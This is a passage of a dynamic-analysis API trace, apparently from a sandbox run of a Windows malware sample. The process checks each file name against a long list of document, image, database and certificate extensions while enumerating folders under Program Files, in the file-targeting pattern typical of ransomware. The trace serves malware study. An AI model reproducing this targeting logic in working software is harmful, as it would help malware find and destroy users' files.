[0089.407] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".chm") returned 4 [0089.407] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".cin") returned 4 [0089.407] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".class") returned 6 [0089.407] lstrcmpiW (lpString1=".class", lpString2="et.xml") returned -1 [0089.407] lstrlenW (lpString=".clx") returned 4 [0089.407] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".config") returned 7 [0089.407] lstrcmpiW (lpString1=".config", lpString2="bet.xml") returned -1 [0089.407] lstrlenW (lpString=".cpp") returned 4 [0089.407] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".cr2") returned 4 [0089.407] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".crt") returned 4 [0089.407] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".crw") returned 4 [0089.408] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".cs") returned 3 [0089.408] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0089.408] lstrlenW (lpString=".css") returned 4 [0089.408] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".csv") returned 4 [0089.408] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".cub") returned 4 [0089.408] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dae") returned 4 [0089.408] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dat") returned 4 [0089.408] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".db") returned 3 [0089.408] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0089.408] lstrlenW (lpString=".dbf") returned 4 [0089.408] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dbx") returned 4 [0089.408] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dc3") returned 4 [0089.408] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dcm") returned 4 [0089.408] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dcr") returned 4 [0089.408] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".der") returned 4 [0089.408] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dib") returned 4 [0089.408] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dic") returned 4 [0089.408] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0089.408] lstrlenW (lpString=".dif") returned 4 [0089.408] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".divx") returned 5 [0089.409] lstrcmpiW (lpString1=".divx", lpString2="t.xml") returned -1 [0089.409] lstrlenW (lpString=".djvu") returned 5 [0089.409] lstrcmpiW (lpString1=".djvu", lpString2="t.xml") returned -1 [0089.409] lstrlenW (lpString=".dng") returned 4 [0089.409] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".doc") returned 4 [0089.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".docm") returned 5 [0089.409] lstrcmpiW (lpString1=".docm", lpString2="t.xml") returned -1 [0089.409] lstrlenW (lpString=".docx") returned 5 [0089.409] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0089.409] lstrlenW (lpString=".dot") returned 4 [0089.409] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".dotm") returned 5 [0089.409] lstrcmpiW (lpString1=".dotm", lpString2="t.xml") returned -1 [0089.409] lstrlenW (lpString=".dotx") returned 5 [0089.409] lstrcmpiW (lpString1=".dotx", lpString2="t.xml") returned -1 [0089.409] lstrlenW (lpString=".dpx") returned 4 [0089.409] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".dqy") returned 4 [0089.409] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".dsn") returned 4 [0089.409] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".dt") returned 3 [0089.409] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0089.409] lstrlenW (lpString=".dtd") returned 4 [0089.409] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".dwg") returned 4 [0089.409] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0089.409] lstrlenW (lpString=".dwt") returned 4 [0089.410] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".dx") returned 3 [0089.410] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0089.410] lstrlenW (lpString=".dxf") returned 4 [0089.410] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".edml") returned 5 [0089.410] lstrcmpiW (lpString1=".edml", lpString2="t.xml") returned -1 [0089.410] lstrlenW (lpString=".efd") returned 4 [0089.410] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".elf") returned 4 [0089.410] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".emf") returned 4 [0089.410] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".emz") returned 4 [0089.410] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".epf") returned 4 [0089.410] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".eps") returned 4 [0089.410] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".epsf") returned 5 [0089.410] lstrcmpiW (lpString1=".epsf", lpString2="t.xml") returned -1 [0089.410] lstrlenW (lpString=".epsp") returned 5 [0089.410] lstrcmpiW (lpString1=".epsp", lpString2="t.xml") returned -1 [0089.410] lstrlenW (lpString=".erf") returned 4 [0089.410] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".exr") returned 4 [0089.410] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".f4v") returned 4 [0089.410] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0089.410] lstrlenW (lpString=".fido") returned 5 [0089.410] lstrcmpiW (lpString1=".fido", lpString2="t.xml") returned -1 [0089.410] lstrlenW (lpString=".flm") returned 4 [0089.411] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".flv") returned 4 [0089.411] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".frm") returned 4 [0089.411] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".fxg") returned 4 [0089.411] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".geo") returned 4 [0089.411] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".gif") returned 4 [0089.411] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".grs") returned 4 [0089.411] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".gz") returned 3 [0089.411] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0089.411] lstrlenW (lpString=".h") returned 2 [0089.411] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0089.411] lstrlenW (lpString=".hdr") returned 4 [0089.411] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".hpp") returned 4 [0089.411] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".hta") returned 4 [0089.411] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".htc") returned 4 [0089.411] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".htm") returned 4 [0089.411] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".html") returned 5 [0089.411] lstrcmpiW (lpString1=".html", lpString2="t.xml") returned -1 [0089.411] lstrlenW (lpString=".icb") returned 4 [0089.411] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0089.411] lstrlenW (lpString=".ics") returned 4 [0089.412] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".iff") returned 4 [0089.412] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".inc") returned 4 [0089.412] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".indd") returned 5 [0089.412] lstrcmpiW (lpString1=".indd", lpString2="t.xml") returned -1 [0089.412] lstrlenW (lpString=".ini") returned 4 [0089.412] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".iqy") returned 4 [0089.412] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".j2c") returned 4 [0089.412] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".j2k") returned 4 [0089.412] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".java") returned 5 [0089.412] lstrcmpiW (lpString1=".java", lpString2="t.xml") returned -1 [0089.412] lstrlenW (lpString=".jp2") returned 4 [0089.412] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".jpc") returned 4 [0089.412] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".jpe") returned 4 [0089.412] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".jpeg") returned 5 [0089.412] lstrcmpiW (lpString1=".jpeg", lpString2="t.xml") returned -1 [0089.412] lstrlenW (lpString=".jpf") returned 4 [0089.412] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".jpg") returned 4 [0089.412] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0089.412] lstrlenW (lpString=".jpx") returned 4 [0089.413] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".js") returned 3 [0089.413] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0089.413] lstrlenW (lpString=".jsf") returned 4 [0089.413] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".json") returned 5 [0089.413] lstrcmpiW (lpString1=".json", lpString2="t.xml") returned -1 [0089.413] lstrlenW (lpString=".jsp") returned 4 [0089.413] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".kdc") returned 4 [0089.413] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".kmz") returned 4 [0089.413] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".kwm") returned 4 [0089.413] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".lasso") returned 6 [0089.413] lstrcmpiW (lpString1=".lasso", lpString2="et.xml") returned -1 [0089.413] lstrlenW (lpString=".lbi") returned 4 [0089.413] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".lgf") returned 4 [0089.413] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".lgp") returned 4 [0089.413] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0089.413] lstrlenW (lpString=".log") returned 4 [0089.413] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".m1v") returned 4 [0089.414] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".m4a") returned 4 [0089.414] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".m4v") returned 4 [0089.414] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".max") returned 4 [0089.414] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".md") returned 3 [0089.414] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0089.414] lstrlenW (lpString=".mda") returned 4 [0089.414] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mdb") returned 4 [0089.414] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mde") returned 4 [0089.414] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mdf") returned 4 [0089.414] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mdw") returned 4 [0089.414] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mef") returned 4 [0089.414] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mft") returned 4 [0089.414] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mfw") returned 4 [0089.414] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mht") returned 4 [0089.414] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0089.414] lstrlenW (lpString=".mhtml") returned 6 [0089.414] lstrcmpiW (lpString1=".mhtml", lpString2="et.xml") returned -1 [0089.414] lstrlenW (lpString=".mka") returned 4 [0089.414] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mkidx") returned 6 [0089.415] lstrcmpiW (lpString1=".mkidx", lpString2="et.xml") returned -1 [0089.415] lstrlenW (lpString=".mkv") returned 4 [0089.415] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mos") returned 4 [0089.415] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mov") returned 4 [0089.415] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mp3") returned 4 [0089.415] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mp4") returned 4 [0089.415] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mpeg") returned 5 [0089.415] lstrcmpiW (lpString1=".mpeg", lpString2="t.xml") returned -1 [0089.415] lstrlenW (lpString=".mpg") returned 4 [0089.415] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mpv") returned 4 [0089.415] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mrw") returned 4 [0089.415] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".msg") returned 4 [0089.415] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".mxl") returned 4 [0089.415] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".myd") returned 4 [0089.415] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".myi") returned 4 [0089.415] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".nef") returned 4 [0089.415] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0089.415] lstrlenW (lpString=".nrw") returned 4 [0089.415] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".obj") returned 4 [0089.416] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".odb") returned 4 [0089.416] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".odc") returned 4 [0089.416] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".odm") returned 4 [0089.416] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".odp") returned 4 [0089.416] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".ods") returned 4 [0089.416] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".oft") returned 4 [0089.416] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".one") returned 4 [0089.416] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".onepkg") returned 7 [0089.416] lstrcmpiW (lpString1=".onepkg", lpString2="bet.xml") returned -1 [0089.416] lstrlenW (lpString=".onetoc2") returned 8 [0089.416] lstrcmpiW (lpString1=".onetoc2", lpString2="abet.xml") returned -1 [0089.416] lstrlenW (lpString=".opt") returned 4 [0089.416] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".oqy") returned 4 [0089.416] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".orf") returned 4 [0089.416] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".p12") returned 4 [0089.416] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0089.416] lstrlenW (lpString=".p7b") returned 4 [0089.416] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".p7c") returned 4 [0089.417] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pam") returned 4 [0089.417] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pbm") returned 4 [0089.417] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pct") returned 4 [0089.417] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pcx") returned 4 [0089.417] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pdd") returned 4 [0089.417] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pdf") returned 4 [0089.417] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pdp") returned 4 [0089.417] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pef") returned 4 [0089.417] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pem") returned 4 [0089.417] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pff") returned 4 [0089.417] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pfm") returned 4 [0089.417] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pfx") returned 4 [0089.417] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".pgm") returned 4 [0089.417] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".php") returned 4 [0089.417] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0089.417] lstrlenW (lpString=".php3") returned 5 [0089.418] lstrcmpiW (lpString1=".php3", lpString2="t.xml") returned -1 [0089.418] lstrlenW (lpString=".php4") returned 5 [0089.418] lstrcmpiW (lpString1=".php4", lpString2="t.xml") returned -1 [0089.418] lstrlenW (lpString=".php5") returned 5 [0089.418] lstrcmpiW (lpString1=".php5", lpString2="t.xml") returned -1 [0089.418] lstrlenW (lpString=".phtml") returned 6 [0089.418] lstrcmpiW (lpString1=".phtml", lpString2="et.xml") returned -1 [0089.418] lstrlenW (lpString=".pict") returned 5 [0089.418] lstrcmpiW (lpString1=".pict", lpString2="t.xml") returned -1 [0089.418] lstrlenW (lpString=".pl") returned 3 [0089.418] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0089.418] lstrlenW (lpString=".pls") returned 4 [0089.418] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0089.418] lstrlenW (lpString=".pm") returned 3 [0089.418] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0089.418] lstrlenW (lpString=".png") returned 4 [0089.418] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0089.418] lstrlenW (lpString=".pnm") returned 4 [0089.418] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0089.418] lstrlenW (lpString=".pot") returned 4 [0089.418] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0089.418] lstrlenW (lpString=".potm") returned 5 [0089.418] lstrcmpiW (lpString1=".potm", lpString2="t.xml") returned -1 [0089.418] lstrlenW (lpString=".potx") returned 5 [0089.418] lstrcmpiW (lpString1=".potx", lpString2="t.xml") returned -1 [0089.418] lstrlenW (lpString=".ppa") returned 4 [0089.418] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0089.418] lstrlenW (lpString=".ppam") returned 5 [0089.418] lstrcmpiW (lpString1=".ppam", lpString2="t.xml") returned -1 [0089.418] lstrlenW (lpString=".ppm") returned 4 [0089.419] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".pps") returned 4 [0089.419] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".ppsm") returned 5 [0089.419] lstrcmpiW (lpString1=".ppsm", lpString2="t.xml") returned -1 [0089.419] lstrlenW (lpString=".ppt") returned 4 [0089.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".pptm") returned 5 [0089.419] lstrcmpiW (lpString1=".pptm", lpString2="t.xml") returned -1 [0089.419] lstrlenW (lpString=".pptx") returned 5 [0089.419] lstrcmpiW (lpString1=".pptx", lpString2="t.xml") returned -1 [0089.419] lstrlenW (lpString=".prn") returned 4 [0089.419] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".ps") returned 3 [0089.419] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0089.419] lstrlenW (lpString=".psb") returned 4 [0089.419] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".psd") returned 4 [0089.419] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".pst") returned 4 [0089.419] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".ptx") returned 4 [0089.419] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".pub") returned 4 [0089.419] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0089.419] lstrlenW (lpString=".pwm") returned 4 [0089.419] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0089.420] lstrlenW (lpString=".pxr") returned 4 [0089.420] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0089.420] lstrlenW (lpString=".py") returned 3 [0089.420] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0089.420] lstrlenW (lpString=".qt") returned 3 [0089.420] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0089.420] lstrlenW (lpString=".r3d") returned 4 [0089.420] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0089.420] lstrlenW (lpString=".raf") returned 4 [0089.420] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0089.420] lstrlenW (lpString=".rar") returned 4 [0089.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0089.420] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0089.420] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0089.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0089.423] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.423] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0089.423] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0089.423] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0089.423] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0089.423] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0089.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG") returned 56 